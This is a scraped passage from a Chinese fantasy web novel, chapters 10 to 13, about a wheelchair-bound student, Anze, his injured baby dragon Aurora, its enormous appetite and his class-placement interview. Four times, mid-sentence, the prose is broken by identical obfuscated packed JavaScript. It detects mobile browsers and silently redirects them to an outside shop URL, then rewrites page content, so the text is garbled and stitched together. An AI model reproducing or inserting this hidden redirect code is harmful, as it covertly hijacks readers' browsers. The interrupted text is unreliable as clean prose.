鳐鱼：“呜汪！！” 柯林：“那谁敢保证啊？你虽然长得像个鱼，但是叫声完全就是一条狗嘛！” 鳐鱼：“咕噜咕噜……” 柯林：“现在学鱼已经来不及了！你这个坏饼！” 鳐鱼：“汪汪汪！！” 推着轮椅幽幽路过的安泽见到这一幕，忍不住鼓起掌来：“果然，连你也觉得饼饼这个名字更合适。” 柯林惊得一个回头，耳朵都急红了：“塞拉菲尔·莱特布林尔！！” 上一秒还在挣扎着去抢巧克力的鳐鱼，一听这个名字，立刻就像一张死面饼一般扁扁地躺下装死了。 看到安泽出来，柯林一边把他的盒饭递过去，一边问道：“怎么样，咪咪还好吗？” 安泽说：“目前是睡着了，医生说得观察一下，如果醒来还消化不良就得吃药打针了。” 柯林瘪嘴：“哦，可怜的咪咪……” 鳐鱼叹气：“汪~(っд`) ” 这会儿安泽也是饿坏了，来不及多说什么，扒拉开饭盒就原地吃了起来。 大概猛猛扒拉了十来口，那股钻心的饥饿感才缓慢退潮，安泽松了口气，终于抽出时间问柯林：“你想好填什么志愿了吗？” 一听这个话题，方才还亢奋不已的柯林明显冷却下来，他有些尴尬地舔了舔嘴唇，许久才挠了挠头说：“我还是想试试辉月班……” 安泽看着他，难得没说话，只是柯林自己先按捺不住，有些窘迫地找补起来：“呃……我是听说辛西娅老师比较卡成绩啦，我这个分怎么看都有点悬……哈哈！但是总得试试吧，万一呢！” 万一呢。安泽的脑子里回荡着这句话，许久，抬手拍了拍他的手臂：“加油。” 柯林惊恐地睁大了眼：“是我耳朵出问题了吗？你居然没有损我？你是不是哪里不舒服？安泽你说话呀！你快说我不自量力异想天开啊！！” 安泽立刻瞪起那双死鱼眼，无奈道：“你知道吗柯林，刚才那一瞬间我恍惚以为你是农夫多姆家那头拉磨的骡子，在长年累月的鞭挞之中迷恋上了受虐的快感，从而染上不被欺辱就全身不适的怪病……” 柯林闻言，总算松了口气：“哇这才对嘛，呼……舒服了！” 安泽懒得理他，收拾完餐盒就一闭双眼，仰头朝后躺去。 柯林看着他随时随地休眠的样子，又看了看他隐约露出薄肌线条的胳膊，忍不住感慨：“哎！真羡慕你啊！每天吃了睡睡了吃，也不起来运动运动，身材都还那么紧致，凭什么我只要稍微一偷懒就长肉啊！” 安泽勉为其难地撑起一只眼皮，回答道：“没有关系啊，大家各有所长嘛，养猪场的多菲阿姨一定会很喜欢你的。” 柯林又怒了：“滚呐！你可以不用有问必答的！” 见没有自己什么事儿，柯林便抱着饼饼回宿舍午休了，安泽便就这样随地大小睡在了医务室门口，直到一阵急促而猛烈的碰撞敲击声将他惊醒，接着是夏缪尔医生几乎破音的惨叫声：“我擦！！我擦！！那不能吃！！快放开它！！” 安泽意识到了什么，几乎是条件反射般抡着轮椅冲进了医务室，只看见极光此时正坐在病床上，两只前爪紧紧抱着那只修长的皮带……带鱼，完全无视了对方或是求饶或是表达痛苦的惨烈扭动，也根本听不到一旁夏缪尔医生的惨叫，张嘴就要去啃那鱼的腰。 安泽也吓坏了，失声喊道：“住口！！” 极光便立刻抬起头，一双绿眼睛眨巴眨巴望着他，停下了要啃鱼的动作。 带鱼倒吸了一口冷气，刚准备趁着动作的间隙抽出身来，便立刻被极光发现了苗头。 于是“嘭”的一声，极光抬起一只后脚爪子，直接把带鱼踩在了脚下，其动作之麻利，就像是在把玩一根修长的银色皮带。 “咕啾！！”带鱼的胸腔挤出一声惨叫，好在它本身就是个扁的，似乎没有受到什么实质性的内伤，却彻底被锁住不能动了。 安泽赶忙道：“住手也住脚……你快把它放了！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595876|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极光又眨眨眼，十分顺从地松开爪子。皮……带鱼就像一条沾了水的卫生纸一样，飘忽飘忽地飞回夏缪尔医生身边，最后彻底萎靡地耷拉下来了。 夏缪尔医生十分心疼地把带鱼来来回回上上下下翻看了好多遍，确认没有大碍之后才松了口气，颓回靠椅上：“哇塞，这小子可真有劲儿，我记得上午爪子还没那么大力气呢！这顿饭吃得也太到位了吧！” 安泽赶紧把极光抱进怀里，紧张道：“真是太抱歉了……！！我不知道它还会这样！！” 夏缪尔医生拿带鱼抹了把脸，又把它像围巾一样绕到脖子上，这才摆摆手说：“龙嘛……吃什么都不奇怪，所以你更是要把它看管好了。今天在我这儿不是什么大事，但是以后要是再出现吃同学的情况，可就连你都得遭殃了。” 安泽后知后觉感到背上浸满了冷汗：“……好。” 两人沉默了片刻，直到夏缪尔医生缓过劲来，缓缓开口：“目前好的趋势是，它真的非常听你的话。但是你要知道，驯养一只龙，比你想象中还要难很多很多……更何况，它这个样子大概率是没有办法帮你完成梦想的——你真的做好心理准备了吗？” 安泽没有丝毫犹豫：“我已经跟它交换过契约了，早就没有后悔的余地了。” 夏缪尔医生又叹了口气，没有继续这个话题，只是伸手摸了摸极光的肚皮。 有安泽在身边的极光非常懂事听话，就这样乖乖地坐在原地，挺着肚子给医生摸。 安泽这才发现，这孩子的圆肚皮已经消退下去很多了，而不知是不是他的错觉，感觉只是睡了个觉的功夫，极光的体型似乎就比刚才大了一小圈了。 摸了一会儿，夏缪尔医生惊呼道：“我擦，牛啊！这么快就消化好了？所以你刚刚是真的饿了？？” 极光望着他，似乎不明白他在说什么，只是用前爪摸了摸肚皮，又舔了舔嘴巴咂了咂嘴，接着抬头看向安泽：“咪呀~” 安泽又瞪大眼睛：“真饿了？！你刚才还差点把自己撑死！！” 这回安泽才后知后觉地想起来，离开食堂之前，亨特老师说过，龙和其他的飞兽不一样，它第一餐的进食量，决定了它今后饭量的大小。 安泽只感觉右眼皮猛猛一跳，接着又想起亨特老师说，要自己回家联系一下附近的屠宰场，提前承包下他们一整年的肉…… 稍早些的时候，安泽还觉得这只是那个大肚子胖老师非常浮夸的恐吓人的低级笑话而已。此时此刻他才意识到，自己似乎是把复杂的问题简单化了。 他忍不住吞了口唾沫，有些无力地问夏缪尔医生：“如果龙喂不饱，会发生什么事……” “情况也不外乎两种。”夏缪尔医生搓了搓复活了的带鱼，想了想，又把它盘成一坨顶在头顶上，“要么它营养不良最后直接被饿死，要么它在绝境中反抗，把饿它肚子的你当成口粮。” “总之，一定是会出命案的。” 11. 第 11 章 出命案这个结果确实不在安泽的考虑范围之内，但是如何让眼前这个实力初显的饕餮吃好喝好，一下子就变成了比能不能飞天还要严峻的问题。 “我记得没错的话，学校应该是包了你们正常食宿费的吧。”夏缪尔医生把“正常”两个字咬得又狠又重，把安泽一切不必要的幻想都掐死在了摇篮之中，“只不过看这个趋势，这一学期的餐标，估计也只够它吃一周的样子。” 安泽打了个冷颤。 “安心啦，不过是费点钱的事情嘛~”夏缪尔医生爽朗地拍了拍他的肩膀，“换个思路想，龙可是能量转换效率最高的飞兽，吃进去的东西都变成使不完的力气啦，这么想想不是也没浪费嘛！” 这是浪不浪费的事情吗……安泽没有吱声。 安泽家庭条件虽不贫苦，但因为常年为他治腿，早已经算不上宽裕的类型。别说承包屠宰场日后所有的肉了，怕是维持这饿龙一个月的餐食都很成问题。夏缪尔医生这句话在他的耳朵里，和对一个吃不起饭的贫民说自掏腰包买一座城堡可以住得了一大家子还能在花园种点蔬菜一点都不浪费没有半点区别。 看样子，必须得在伙食费用完之前找到保住他们两个性命的办法才行。 临走前，安泽心不在焉地关上了夏缪尔医生向他展示的飞天带鱼的多种使用方法，包括不限于当压制病人的束缚带、包扎伤口的临时绷带、时尚搭配的围巾和腰带等等。顺便还跟他倾情解答了为什么一条带鱼要叫“小雪山”，并不是他们有着一起奔赴雪山之巅的宏伟愿景，而是因为第一次见到它的时候，这带鱼就摆成了一个山的形状，看上去就是一座小雪山。 安泽嗯嗯哦哦又夸了几句“医生你的创造力就像学校食堂烧出草莓酱豆腐拌芥末烧汁的大厨一样强大”，顺便又给他推荐了将带鱼当成套马杆的皮绳、风筝的风筝线、遛狗的狗绳等用法，终于糊弄得对方愿意放他离开了。 匆匆离开医务室的时候，同学们早已经回到礼堂，投入到紧张的简历投递和面试准备环节了。 礼堂的讲台上摆放了四个班级的投递箱，箱子虽然并不透明，但是箱子前排的队伍的长短，已经将各个班级的人气彰显得淋漓尽致—— 出人意料的是，旭日班的人气并不是最高的，排队投简历的人数甚至不到辉月班的一半，最夸张的却是辰星班，排起的长龙甚至直接延伸到了礼堂的另一端，而不出所料的是，流云班的投递箱前空空如也，居然连一个排队的人都没有。 “……”安泽看了一眼自己的简历袋，心中难免一阵嘀咕——不会自己要成流云班的独苗了吧。不过也可能是排的人不多，大家投完简历都已经散去了呢…… 正想着，一个熟悉的声音从身后传来，一回头，是破壳仪式上那个一不小心挤到自己的、身材圆润的哈伦同学。 “你们知道为什么辰星班的人那么多吗？”哈伦走在一群同学中间，气宇轩昂、语气高亢，“因为有人打听到了小道消息，米修老师几乎不会卡人，他唯一的要求就是不要海投，不要同时填报其他班级的志愿，估计大家都是保险起见选了他们班呢。诶呀，咱们这一届同学可真是太保守了！” “是吗！你这么一说我也想投他们班了！”另一位男生说，“毕竟旭日班难度太大肯定没戏，辉月班没法十拿九稳不够保险，万一不填辰星班，岂不是一不小心就会滑进流云了？？” 这话一出，人群里传来一阵倒抽冷气的声音，好几个人也纷纷应和，都表示会填辰星班。 哈伦听了，连连摇头说他们没有闯劲儿，一抬头刚好看到安泽，立刻脱离人群，笑着朝他走来：“哟安泽！中午还说请你吃食堂呢，结果没找到你！” 安泽心说你可不要再提食堂的事情了，只有些窘迫地把极光往自己的怀里又搂了搂，还没开口说些什么，对方便又问道：“怎么样？简历填好了没？” 他没问自己准备填哪个班，安泽便有理由不正面回答：“填好了。” 听他没有下文，哈伦嘿嘿一笑，十分顺滑地转了个话题，继续道：“呀！你和这只龙签订契约了？真有你的呀！！” 即便极光的翅膀残疾，但和一只龙签订契约的事情，还是让安泽的虚荣心得到了极大的满足，他有些得意起来：“对，它现在是我的飞兽了！” “真不错啊真不错！”哈伦的感慨十分真诚，让安泽听了更开心了，“它看起来可真好看，瞧瞧这鳞片、这色泽！哇！！不愧是龙啊！” 安泽没压住，眉毛轻轻扬了扬，然后又怕他多问，便把目光聚集到了他肩膀上去：“这是你的……？” “对！这是我的飞兽们！”哈伦十分得意地朝他张开了双臂，“从左到右分别是‘蜂蜜1号’、‘蜂蜜2号’、‘蜂蜜3号’和‘蜂蜜4号’，怎么样，是不是很气派？” 安泽确实有些意外——哈伦的飞兽不是一只，而是整整四只苹果大小的熊蜂，它们全都圆滚滚的、浑身看起来毛茸茸的、十分蓬松，四片翅膀小小的，甚至没有身体大。它们从左到右几乎一模一样地站在哈伦的肩膀上，像是四个黑黄相间的毛绒公仔，眨巴着黑乎乎的眼睛望着对面的安泽。 “不是我说，胖子你要做好当走地鸡的命了！”身后有男生嬉笑着拍了拍他的肩膀，“别说这四个小球儿，就是四条龙来都不一定能驮得动你这庞然身躯啊！” 安泽皱了皱眉头，倒是哈伦似乎并不排斥对方的调侃，而是依旧十分爽朗道：“你这明显就是书读得不够多了兄弟，熊蜂的力气可是很大的，它们四个齐心协力再多多锻炼，圆我飞天梦根本就是轻而易举！” 尽管四周还是弥散着调侃和嘲笑，但安泽很清楚，哈伦其实说得没错。自然界中的熊蜂有着非常夸张的飞行肌，可以轻松搬运与自身体重相当的花粉，同时保证翅膀高频度的振动。而体型巨大化的飞兽熊蜂则更是夸张，好好训练的话，举起一个哈伦其实并不困难。 安泽望着那四只熊蜂，只觉得心中生出一丝羡慕——他现在会平等地羡慕每一个能飞上天的人，尤其会羡慕那些略有缺陷，却依旧有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595877|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机会完成飞天梦想的同学们。 听到其他同学的嘲讽声，最左边的那只熊蜂跳到了哈伦的脸侧，朝同学们撅了撅屁股表示抗议。哈伦笑起来，像摸小鸟似的顺了顺熊蜂的脑袋：“蜂蜜一号，没关系的！他们开玩笑呢！咱们要有点幽默感！” 安泽闻言，也忍不住凑过去，仔仔细细地挨个看着那四只圆嘟嘟的、几乎一模一样的熊蜂，怎么也分不出他们的区别。 于是，他还是忍不住好奇问道：“你是怎么分得清一二三四号的？” “啊？不用分得清！”哈伦咧起嘴，“谁站在左边谁就是一号，名字也不一定要是固定的嘛，反正它们知道我在喊谁就行了！” 安泽忍不住给他竖了个大拇指，不过是转眼的工夫，哈伦又扛着四只公仔跟别的人去高谈阔论了。 于是安泽便摇着轮椅，趁所有人不注意，悄悄地、迅速地把简历投进流云班的箱子里，又快速地离开了礼堂、来到了礼堂门前的一片空地上。 就这么一会儿的工夫，极光又躺在他的腿上睡着了。安泽忍不住低头摸了摸它的肚皮，又想去碰碰它萎缩畸形的左翅。 可手指伸到离翅膀不到一寸的距离，又悄悄收了回来。 安泽深吸了一口气，又吐出来，接着猛地一抬头，让晴朗的蓝天涌进他的双眸。 蓝天之中，几名学长正身骑飞兽彼此追逐嬉闹，安泽就这样怔怔地望着他们盘旋、起落，看着他们驭兽的姿势，看着不同的飞兽飞行时翅膀的形态。 每次大家都忙得注意不到自己的时候，安泽都会这样悄悄地、一个人坐着轮椅来到窗边、操场、走廊，看天空、还有天空中飞翔的人和飞兽，直到有人发现他掉队的时候，在假装什么都没发生过一般，默默躺回轮椅上补觉了。 这回也是这样，只不过略微有些不同的是，此时他的怀里多了一只小龙。 正想到这里的时候，怀里休息的孩子迷迷瞪瞪“咪”了一声，努力舒张四肢伸了个懒腰，吧唧吧唧地砸了一阵嘴，接着才顺着安泽的目光一起看向天上去。 天的碧蓝映进极光绿色的双眸之中，仿佛在一瞬间，蓝天与草地交融，那高不可攀的距离也被尽然压缩进瞳孔装得进的大小。 “……”安泽只觉得自己的心脏微微颤抖了一下，轻轻开口问，“极光，你喜欢蓝天吗？” 没有丝毫犹豫地，极光仰起脖子：“咪！” 明知道这只刚破壳的小龙根本什么都不懂，也什么都不明白，安泽还是忍不住问：“那你……想跟我一起飞上蓝天吗？” 极光这回更是来了气势，雄赳赳气昂昂地挺起胸脯，坚定地一跺前爪：“咪！！” 安泽望着他，忽然感觉鼻子一酸，但还是笑了出来：“那我们一起想办法，一起努力、一起加油。” 说着，轻轻朝极光递去了自己的拳头，那孩子依旧是全然不清楚发生了什么，没有拿爪子跟他碰拳，而是朝前扑棱扑棱走了两步，把下巴搭在了安泽的拳头上： “咪~” 12. 第 12 章 接下来的三天里，感觉全世界都在忙着准备分班面试，只有安泽无所事事——毕竟流云班作为兜底班，几乎可以说是没有考核门槛，这段时间里，安泽除了简单准备一个自我介绍之外，唯一需要关心的，就是如何安顿好极光那无底洞一般的胃袋。 第一天晚上，他忧心忡忡地抱着极光回家，爸爸妈妈听说他认了条龙，兴奋地骑着飞兽去菜市场买了一大桌子好菜，一不留神被极光吃掉了大半。 于是后半夜里，一家人便对着龙球忧心忡忡地讨论了半天，最后无奈得出结论——家里的收入确实很难供得起极光的吃喝，一家人必须一起想想办法，保证龙和人都能好好地活下去。 第二天上学，安泽的母亲带着安泽一起，找到了学校负责后勤保障的老师，凄凄惨惨戚戚地讲述了当下的困境，祈求学校在伙食费问题上可以宽容一些。 老师表示理解，和学院的几位领导商量后给出了方案，每顿午餐能拿后厨的余量给极光加餐，但是确实没有能力保证让它吃饱，其余的问题还是得靠他们自己解决。 第三天上午，安泽的父亲替安泽请了个假，然后手里推着孩子、孩子怀里抱着小龙，一家三口就这样来到了离家不远的一家屠宰场刷脸。 屠宰场老板也是第一次看见活的龙，新奇地逗了极光半天，看起来确实是稀罕得很。但父子俩确实没法厚脸皮求人家免费给肉吃，只说着下班放学都可以来帮忙，老板便心领神会，愿意低价出售生肉给他们做龙饭，但前提是要经常带着极光过来玩。 经过一家子的不懈努力，极光的饮食问题暂时没有那么急迫严峻了。带着小龙匆匆返校的安泽，也总算是赶上了最后的面试时间。 几个班级面试的场所和地点大不相同——旭日班直接安排在了天空操场，这个地点给了大家十足的压迫感，毕竟大部分同学的飞兽刚刚破壳，连独立飞行都不太稳当，索尔老师的面试，就已经要求飞兽载着同学在操场上尝试飞行了——也难怪敢报旭日班的同学那么少。 辉月班的面试则是占据了整个学校最大的破壳礼堂，这是飞兽们出生的地方，场地足够大、设施也足够完备。因为在室内，安泽也没能一探究竟面试内容，只是相当敷衍地在心底给自己的好友柯林祈了个福，祝他能上岸就上岸，上不了岸也别哭得太惨。 辰星班的面试地点则最为特殊——没有固定的面试地点。整个面试过程中，米修老师骑着那只大跳蛛在学校的各个角落窜来窜去，只留着一大串儿可怜孩子，抱着自己的飞兽跟群小鸡崽儿似的，满学校的东跑西跑。有的同学跑了半天掉了队直接哭着选择了放弃，从头到尾跟上节奏成功完成面试的同学也是累得乱七八糟。 而安泽则是花了好久才找到流云班的面试地点。虽然他有心理准备，知道条件绝对不可能比得上前面三个班级，但是真的踏进去的时候，还是被这扑面而来的朴实惊到了—— 不是操场、不是礼堂、也不是随机考验能力的特殊地形训练场。潘妮老师只是随便在理论教室一楼找了个空出来的教室，简简单单摆了几张桌子，就搭成了这样一个原始简约的面试点。 “诶呀呀！这不是那只小龙吗！！”一进门，坐在讲台下的潘妮老师就“嘭”地站起身，发出一阵惊喜的呼唤。 安泽想起她一个上午晕过去三回的潇洒战绩，缓缓开口安抚道：“老师您冷静一下，我去找一下附近有没有枕头什么的……” 潘妮老师摆摆手，脸上还是藏不住的惊喜：“诶呀诶呀，这种好事也能轮到我嘛……” 安泽挠了挠头，心想着早上都被气晕过一回了，你不该是最清楚眼前这个是“好事”还是“坏事”的么。 但他没吱声，只是把极光放在腿上，然后摇着轮椅驶向讲台。 潘妮见状，立刻从欣喜中回过神来：“哦同学，你要是上讲台不方便的话，就在下面……” 话音未落，安泽就一拨手旁的摇杆，身下轮椅的后方立刻整出一根机械支架，安泽手用力向后一撑，轮椅的前侧便被支架抬起，接着椅轮向前一拨，就这样轻松上了台阶。 “哇哦！”潘妮老师颇有些惊讶，主动凑过来看他的轮椅，“真厉害啊这个！是你自己设计的吗？” 这才哪儿到哪儿，完全就是最低端的操作，安泽颇有些得意，但面上还是十分平静：“对。” “哇塞，一年级的机械科应该才学到最基本的机械介绍吧？你这都是自己摸索学习的吗？看起来应该有很厉害的老师带你的吧？”潘妮老师问。 “我爸爸妈妈都是镇上的机械师。”安泽依旧努力保持语气中不掺杂太多得意，“我从小就跟他们学了。” “真不错啊真不错！”潘妮老师绕着他的轮椅转了一圈又一圈，“同学，你这真的是不可多得的人才啊！” 这是一句非常真挚的、不掺杂任何其他含义的夸奖，但安泽却还是有些敏感的不开心了——原因无他，机械师作为驭风族的顶尖辅助，大部分都会像自己父母那样，留在峡谷的这一端，一生在地面上为其他人的飞行梦添砖加瓦。 安泽是有些机械天赋不错，但是……自己明明就是想飞上天的啊。 他看了看眼前这穿着永远规矩朴素的女老师，又看了看她肩膀上那只小巧的、无法载人的猫头鹰，心里又有些失落了——是啊，她都已经如此坦然地接受自己就是个“走地鸡”的现实了，看到情况比她还要自己，肯定也是会像夏缪尔医生那样，劝自己认清现实、留在地上、发挥所长的。 于是他没吱声了，面试陷入了短暂的寂静，直到下一秒，潘妮老师歪着头，盯着他的脸看：“怎么不开心了？” 安泽抬起头，有些意外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595878|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方如此的敏感细腻，却也没有承认：“没有，老师。” 潘妮又盯着他看了许久，然后笑起来：“还没有自我介绍呢！你和你的小龙叫什么名字？” “我叫安泽，它叫极光。”安泽回答。 潘妮重新坐回台下的位置上，手里捏着安泽的简历，认真翻了许久：“安泽同学，你的理论课成绩真的非常出色啊，所以为什么会‘主动’来流云班呢？” 她特意强调了“主动”两个字，显然也是知道这种案例的稀缺。 安泽思考了一下，又看了一眼潘妮老师，觉得这老师脾气够好，说话也挺真诚的，再加上也没办法再拒绝自己了，便选择了实话实说：“因为我的腿站不起来，极光的翅膀也有残疾，其他班级的老师应该不会选择收留我们。” 他猜得很对，即便说出这样直白的话，潘妮老师的脸上也几乎看不到半点儿愠色。 “是嘛？”潘妮老师问，“你找他们问过了？” 安泽愣了一下，然后苦笑：“我觉得应该不需要问吧。” “那不好说呢，有老师明确颁布过‘不招收有走地鸡倾向的学生’这一条招生准则吗？”潘妮老师耸耸肩，“索尔就算了，他是个怪人，哪怕是把米修变小了去面试，都不一定会让他过的。但是辛西娅老师可是很喜欢学习好的高材生呢，没准就会看在你理论课的成绩上让你通过呢……至于辰星班，你不试试真的可惜了，只要你不选择海投，米修那家伙几乎不会拒绝任何人的，哪怕你不能飞，他也应该能在队伍里给你找到一个合适的位置！” 安泽没想到潘妮会对少数主动来流云班的自己说这样的话，他有些意外，半天没能说出一句话来。 “后悔了吗？”潘妮老师笑起来，“后悔也没有用啦，我虽然很好说话，但也是很讲规矩的！你既然填了我们班的志愿，就是我们班的人了，想走都走不掉咯。” 本来没想那么多，可经潘妮老师这么一说，安泽的心里是真的生出了一丝淡淡的悔意。 “安泽同学，我很欣赏你！包括你的成绩、你的技术，还有你目前表现出来的、极有可能装出来的沉稳，都已经是在同龄人里非常优秀的了。”潘妮老师撑着脑袋，弯着眼睛看着他，“但是你的缺点和弱点也很明显。” 安泽看着她，依旧没有作声。 “我发现你看起来是很倔强、也可能你自己心底有个什么伟大的、崇高的梦想，这些东西看似一直是支撑着你往前走的动力，但是实际上，你在重要决策面前甚至都没有试一试、闯一闯的勇气，你甚至不敢把你的目标说出来，应该就是在随时警惕着、提防着梦想破碎的那一刻吧。”潘妮老师望着他，安泽只觉得自己的脑袋都要被她盯出两个洞来。 “说实话，总在幻想失败的安泽同学，你其实自己都不敢相信自己的，对吧？” 13.第 13 章 说实话，听到潘妮老师这样评价自己，安泽是不服气的。 他不觉得自己缺乏勇气，也不觉得自己是个缺少自信的人，但是他没有反驳——至少潘妮老师说的一句话没有问题，他比同龄人要更加稳重，他不该轻易被情绪左右。 见安泽不说话，潘妮老师倒也没有继续，转身就看向安泽怀里的极光。 安泽有所预感，刚想说极光胆子很小，怕潘妮老师吓到他，没想到那人就直接抄起桌上的逗兽棒，叮呤咣啷对着极光就开始一顿乱摇。 果不其然，极光被这突如其来的动静吓得浑身一颤，立刻转头钻进安泽的腿缝里去，安泽伸手就要去护，可潘妮老师没有收手，依旧拿着逗兽棒在极光的脑袋边晃着。 “老师你……”安泽皱起眉，阻拦的话已经说到嘴边，没想到极光居然在这持久的摇铃声中悄悄拔出脑袋，然后缓缓地、慢慢地抬起头。 它打量逗兽棒的时候，全身上下也都是无比警觉地，安泽能感觉它用尽了全身力气、紧紧把后背贴在自己身上，状态一半是在防御、一半又是忍不住的好奇。 最终，在潘妮老师极其执着且富有经验的手法之下，极光的防线被彻底瓦解，它忍不住伸出前爪朝棒子上的铃铛挠去，下一秒又被老师钓得一跃而起、来了个稳稳的后空翻。 两三回过后，极光彻底被潘妮老师的逗兽棒勾引过去，一步两步居然直接从安泽的腿上爬走了。 安泽酸溜溜道：“极光啊，要不你在我这充点钱，到饭点就过来吃个饭，其他时间给你自由怎么样？” 极光大抵是听不懂这么复杂的话的，只抽空摇着尾巴敷衍了他一下，接着就在潘妮老师的逗弄之下，“咪咪”地翻起肚皮抱着逗兽棒开玩了。 玩到兴头上时，潘妮老师肩膀上的猫头鹰阿夜也飞了过来，歪着头看着极光“咕咕咕咕”地叫着，还拿翅膀摸了摸极光的头，极光这回像是听懂了一般，“咪呀”地回了一句，然后开心地张了张翅膀回应了阿夜。 “它们是在对话吗？”安泽有些诧异道。 “是啊。”潘妮老师道，“阿夜很厉害的，它可以和所有的飞兽无障碍交流呢，这可是很强大的技能！” 安泽这才想起来，她在招生演讲的时候似乎说过这句话，只是那时候自己没有觉得这件事是多么独特罢了。 大抵是因为流云班实在是门可罗雀，潘妮老师闲得实在离谱，就这样欢欢喜喜地逗了极光半个下午，安泽便也就在一旁这样安安静静地看了半下午。 这一个下午的时间里，极光的胆子也是越来越大，从一开始谨小慎微地玩着逗兽棒，到后来甚至敢尝试着张嘴去啄阿夜的翅膀，阿夜也很敬业地逗着它玩儿，好几下逗得极光直扑棱翅膀。 看着极光好几次急得想往天上飞，却又因为左翅的原因只能趔趄地摔回地面上，安泽又担心起来——他想到了自己小时候，看着别的孩子在面前跑着闹着，也着急想要跟过去，却因为腿疼一次又一次摔在了轮椅前。这样的场景给他带来了很多痛苦的回忆，到最后也不再愿意尝试着下地行走了，他担心极光也会这样怀疑自己。 但捏着拳头观察了一会他才发现，极光似乎和自己并不一样。至少此时的它心思特别简单，似乎并不知道自己和别的飞兽有什么不同，也并没有因为落地而感到痛苦——它只是单纯地和阿夜玩得很开心，仅此而已。 大约能感受到安泽的心情从紧张慢慢放松下来，潘妮老师笑起来：“龙是很有韧性的飞兽，你不需要太担心它。” 安泽慢慢开口，目光到始终落在极光身上：“比起这个，我现在倒是更需要担心它会被人随随便便就用一根逗兽棒骗走……它看起来真的很好贿赂的样子呢。” 潘妮老师乐道：“哈哈，那它以后可不能当官儿啊！” 虽然嘴上说着酸溜溜的话，但难得看见极光这样开心地和除了自己之外的人玩耍，安泽还是非常欣慰，也在心里短暂地原谅了潘妮老师——至于需要原谅她什么，第一当然是方才说自己不够勇敢，第二还是因为她看到极光的翅膀残疾之后居然被气晕了。 至少在此之前，他觉得潘妮老师打心眼儿里是对极光和自己有一些偏见的。 但是潘妮老师显然没有想那么多，只顾着自己玩爽了，这才依依不舍地结束了这场漫长的面试。 她开心道：“诶呀，今年居然有三位同学主动报考我们流云班！看起来我也是越来越受欢迎了嘛！” 安泽微微睁大眼，也是颇有些讶异：“居然还有两位像我这样飞都飞不起来的倒霉蛋吗？看起来我们驭风族的人口素质越来越堪忧了……” 潘妮老师也不生气：“话别说得太早，明天就都能见到啦！也不知道其他几位老师今年愿意放几位同学给我，真是期待啊！” 安泽转过身，忍不住打了个呵欠，正要就地眯眼睡过去，潘妮老师就又道：“明天开始上课，晚上就不要熬夜啦，我保证会教一些值得你们学的东西，可不要在课堂上补觉了哦。” 安泽敷衍地点点头——毕竟每个老师都是这样发誓的，但是上课的内容不是自己提前学过就是自己根本用不上，所以与其发呆浪费时间，还不如用来补觉。 亲手把安泽推到门口之后，潘妮老师又拍了拍他的肩膀，然后颇有些意外地感慨了一句：“哇，你身体还蛮结实的嘛！” 安泽耸耸肩，没吱声，只慢悠悠摇着轮椅离开了教室。 放学回到家中时，爸妈早已经扛着一麻袋低价买来的肉等着极光开饭了，这孩子吃得多且食欲持久，一顿饭能胡吃海塞吃个半个钟头，安泽没熬住，吃完自己的晚餐便回房间睡了一会儿，直到吃饱喝足的极光“咪啊咪啊”地跑进房间喊他，他才揉揉眼睛起床。 放在平时，白天在学校补够了觉，晚上他就有充足的时间做更重要的事情了——这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601862|187446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候，安泽才真正开启属于自己的一天。 安泽从床上艰难地坐回轮椅上，然后拉上了窗帘，点燃煤油灯，从书架后面的隐藏处掏出了一沓子不属于这个年级读物的书本开始翻读。 安泽的功课已经提前预习到了三年级的内容，那些能难倒十个柯林的入学考试，在他眼里是特别小儿科的存在。 所以他不觉得潘妮老师能教自己什么值得学的东西，指望学校，不如指望自己。 学了不知多久，只等那煤油灯的油都快燃尽了，安泽又直起身来伸了个懒腰，来来回回又做了一些热身的动作，接着又推着轮椅到自己的床边，床头有一个开关，他轻轻一推，一个小小的暗门便翻转出来，映入眼帘的，是一个摆满康复、健身训练用具的器材间。 